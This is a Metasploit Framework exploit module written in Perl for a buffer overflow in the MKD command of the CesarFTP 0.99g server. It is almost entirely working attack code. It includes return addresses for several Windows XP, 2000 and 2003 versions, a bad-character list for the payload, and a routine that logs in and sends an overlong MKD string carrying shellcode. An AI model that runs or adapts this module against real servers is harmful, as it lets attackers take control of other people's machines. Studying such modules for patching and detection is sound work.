##
#---ORIGINAL CREDITS TO h07 FOR FINDING THIS VULN---
# Ported to metasploit by c0rrupt
# ~ f34r.us ~
##

package Msf::Exploit::cesarftp_mkd;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {
        'Name'     => 'CesarFTP 0.99g  Buffer Overflow',
        'Version'  => '$Revision: 1.3 $',
        'Authors'  => [ 'c0rrupt [at] f34r [dot] us', ],

        'Arch'  => [ 'x86' ],
        'OS'    => [ 'win32', 'win2000', 'winxp' ],
        'Priv'  => 0,

        'AutoOpts'  => { 'EXITFUNC' => 'seh' },
        'UserOpts'  =>
          {
                'RHOST' =>  [1, 'ADDR', 'The target address'],
                'RPORT' =>  [1, 'PORT', 'The target port', 21],
                'USER'  =>  [1, 'USER', 'Login name'],
                'PASS'  =>  [1, 'PASS', 'Password'],
          },

        'Payload'  =>
          {
                'Space' => 325,
                'BadChars'  => 
"\x00\x09\x0a\x0d\x22\x25\x26\x27\x2f\x3a\x3e\x3f\xFF\x5c",
          },

        'Description'  =>  Pex::Text::Freeform(qq{
        This module exploits the buffer overflow found in the MKD command
        in CesarFTP 0.99g. It is required that the user be properly logged 
in
        before the exploit can be peformed.
}),

        'Refs'  =>
          [
                ['URL',   'http://www.milw0rm.com/exploits/1906']
          ],

        'DefaultTarget' => 0,
        'Targets' =>
          [
                        ['Windows XP SP2 English',       0x7746F114 ],  # 
comctl32
                        ['Windows XP SP0/SP1 English',   0x776606af ],
                        ['Windows 2003 server sp0/xp sp1 English',  
0x77798428 ],
                        ['Windows 2003 server SP1 English',  0x7caa9618 ],
                        ['Windows 2000 SP4 English',  0x78344dd3 ],
          ],

        'Keys'  => ['ceasarftp'],

        'DisclosureDate' => 'June 12 2006',
  };

sub new {
        my $class = shift;
        my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => 
$advanced}, @_);
        return($self);
}

sub Exploit {
        my $self = shift;
        my $target_host = $self->GetVar('RHOST');
        my $target_port = $self->GetVar('RPORT');
        my $target_idx  = $self->GetVar('TARGET');
        my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
        my $target      = $self->Targets->[$target_idx];
        my $user                = $self->GetVar('USER');
        my $pass                = $self->GetVar('PASS');

        my $buf = "MKD " . "\n"x671 . "A"x3 . pack('V', $target->[1]) .  
$shellcode . "\x0d\x0a";

#pack('V', $target->[1])

#"\x23\x79\xAB\x71"

$self->PrintLine(sprintf("[*] Trying to exploit target %s ", $target->[0], 
));

        my $sock = Msf::Socket::Tcp->new
          (
                'PeerAddr'  => $target_host,
                'PeerPort'  => $target_port,

          );

        if ($sock->IsError) {
                $self->PrintLine('[*] Error creating socket: ' . 
$sock->GetError);
                return;
        }
        
my $r = $sock->Recv(-1, 20);
        if (! $r) { $self->PrintLine("[*] No response from FTP server"); 
return; }

$self->PrintLine(sprintf("[*] Sending login credentials"));
$sock->Send("USER $user" . "\x0d\x0a");
sleep(1);

$sock->Send("PASS $pass" . "\x0d\x0a");
sleep(1);
$self->PrintLine(sprintf("[*] Sending evil request"));

$sock->Send($buf);
$self->PrintLine(sprintf("[*] Exploit complete"));

        
        return;
}